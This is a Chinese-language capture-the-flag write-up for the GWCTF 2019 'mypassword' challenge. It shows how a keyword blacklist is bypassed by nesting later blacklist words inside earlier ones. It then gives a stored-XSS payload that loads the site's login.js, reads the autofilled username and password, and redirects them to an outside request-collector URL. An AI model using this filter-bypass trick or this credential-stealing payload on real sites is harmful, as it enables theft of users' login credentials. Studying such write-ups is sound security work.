[GWCTF 2019]mypassword
[GWCTF 2019]mypassword
考点
CSP
利用逻辑错误绕过正则黑名单
wp
注册登录两个功能,F12看到有个login.js,意思是把用户信息写到cookie里面
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split('; ');
var cookie = {};
for (var i = 0; i < cookies.length; i++) {
var arr = cookies[i].split('=');
var key = arr[0];
cookie[key] = arr[1];
}
if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[0].value = cookie['psw'];
}
}
登录后有个反馈功能feedback.php,在list.php可以看到反馈内容,应该是个xss打cookie。
提交<svg onload=alert(1)>
返回的内容是< =alert(1)>
是有过滤的。
feedback.php有注释,可以看到过滤的内容,str_ireplace
为不区分大小写进行替换
if(is_array($feedback)){
echo "<script>alert('反馈不合法');</script>";
return false;}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
while(true){
if(stripos($feedback,$val) !== false){
$feedback = str_ireplace($val,"",$feedback);}else{break;}}}
在访问/content.php?id=1的时候发现返回头中有CSP,这个CSP策略的意思是只能执行本页面的js语句。
Content-Security-Policy: default-src 'self';script-src 'unsafe-inline' 'self'
看那个过滤,实际上有个逻辑错误,例如我想使用getElement这个关键字,那就在getElement中插入黑名单中getElement之后的关键字,document或cookie,提交getdocumentElement就可以得到getElement了。因为这里循环是按照顺序循环的,只有目标关键字在黑名单之前就可以绕过了。
然后就可以构造payload了,首先需要执行login.js才能把账号密码写入cookie,执行login.js还需要username和password的input,都用cookie套一下,在feedback.php发送,在list.php查看,在vps接收即可,或者在(https://beeceptor.com/)在http://requestbin.cn/接收
http://requestbin.cn:80/peri0d
<inpcookieut type="text" name="username"></inpcookieut>
<inpcookieut type="text" name="password"></inpcookieut>
<scricookiept scookierc="./js/login.js"></scricookiept>
<scricookiept>
var uname = documcookieent.getElemcookieentsByName("username")[0].value;
var passwd = documcookieent.getElemcookieentsByName("password")[0].value;
var res = uname + " " + passwd;
documcookieent.locacookietion="http://requestbin.cn:80/peri0d/?res="+res;
</scricookiept>
小结
xss的payload要根据加载的js写
https://beeceptor.com/就试试http://requestbin.cn/
最后更新于